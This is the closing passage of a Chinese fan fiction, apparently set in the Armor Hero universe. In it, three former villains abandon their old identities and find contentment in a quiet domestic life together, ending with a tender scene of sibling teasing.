但这与北淼、西钊、冰儿三人有什么关系呢?他们所谓的“联手”,只是帮助他们消灭界王、上交光影石和召唤晶片、提供情报,仅此而已。参与决战、封印黑魔兽的并不是他们——他们也不在乎是谁。因为那个时候,他们正在一间出租屋里收拾破铜烂铁。 没错,窗外铠甲勇士和黑魔兽打得热火朝天,室内三个普通人却若无其事地打扫卫生、准备饭菜。 离开界王之后他们没有收入来源,也没有社会身份,尽管ERP会出面帮他们办理身份证明,但在那之前他们三人就消失在了ERP的视野里。抛弃了身份、血脉与责任,正邪善恶从此与他们无关。从今往后,他们的世界只有彼此。北淼会试着找工作,西钊大部分时间在家里陪冰儿,冰儿则可以做任何自己喜欢的事。 这会不会是另一个西钊眼中的“家”?看着又开始哄妹妹开心的北淼,西钊心想。他们已经没有“不死之身”了,会受伤、会疼、会死。可是,他们拥有了并不孤独的过去、拥有着自由自在不会受到限制的现在、也能拥有可以由他们亲手创造的未来。 西钊感觉到,心中那片沉积的灰暗正在一点点被驱散,他由衷地觉得:能以这样的身份、带着这些记忆,生活在这个世界,真是太好了。 这大概就是…… “说什么都没用,你自己反省去吧。” “诶、等等,小雪,你听我说——” 冰儿、不,小雪,从布满灰尘的旧沙发上站起来,一把夺走西钊手里的水果碟,用牙签扎起一块草莓就往刚收拾出来的房间去。北淼火急火燎地跟在后面,低声下气地不停道歉。 西钊站在原地,还保持着端碟子的姿势,无奈地勾起嘴角,摇了摇头。 这大概,就是“幸福”吧。 FIN